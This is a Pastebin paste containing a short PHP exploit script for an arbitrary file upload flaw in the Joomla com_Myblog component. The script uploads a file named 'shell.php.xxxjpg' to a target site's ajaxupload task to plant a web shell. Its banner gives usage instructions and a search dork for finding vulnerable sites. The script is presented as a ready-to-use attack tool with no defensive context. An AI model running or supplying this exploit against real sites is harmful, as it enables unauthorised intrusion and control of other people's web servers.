Alisam_Technology

Joomla com_Myblog Arbitrary File Upload

Jul 20th, 2015
1,283
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.52 KB | None | 0 0
  1. <?php
  2.  
  3. print "
  4.       [+]================================================================[+]
  5.       [+]-------      Joomla com_Myblog Arbitrary File Upload     -------[+]
  6.       [+]================================================================[+]
  7.       [+]--------------           AlisamTechnology         --------------[+]
  8.       [+]------ https://www.fb.com/Forces.des.tempetes.marocaines  ------[+]
  9.       [+]------        https://www.youtube.com/user/aliartes       ------[+]
  10.       [+]--------------            Original script         --------------[+]
  11.       [+]--------------     http://0day.today/exploit/23901    ----------[+]
  12.       [+]================================================================[+]
  13.       [+]======================        USAGE       ======================[+]
  14.       [+]            dork index of /components/com_myblog/               [+]
  15.       [+]                      php exploit.php TARGET                    [+]
  16.       [+]================================================================[+]
  17.  
  18.    ";
  19.     $ur = isset($argv[1]) && strstr($argv[1], 'http') ? $argv[1] : "http://{$argv[1]}";
  20.     $argv[1] = $ur;
  21.  
  22.     $uploadfile="shell.php.xxxjpg";
  23.    
  24.     $ch = curl_init("$argv[1]/index.php?option=com_myblog&task=ajaxupload");
  25.     curl_setopt($ch, CURLOPT_POST, true);
  26.     curl_setopt($ch, CURLOPT_POSTFIELDS,
  27.     array('fileToUpload'=>"@$uploadfile"));
  28.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  29.     $postResult = curl_exec($ch);
  30.     curl_close($ch);
  31.     print "$postResult";
  32.  
  33. ?>
Advertisement
Add Comment
Please, Sign In to add comment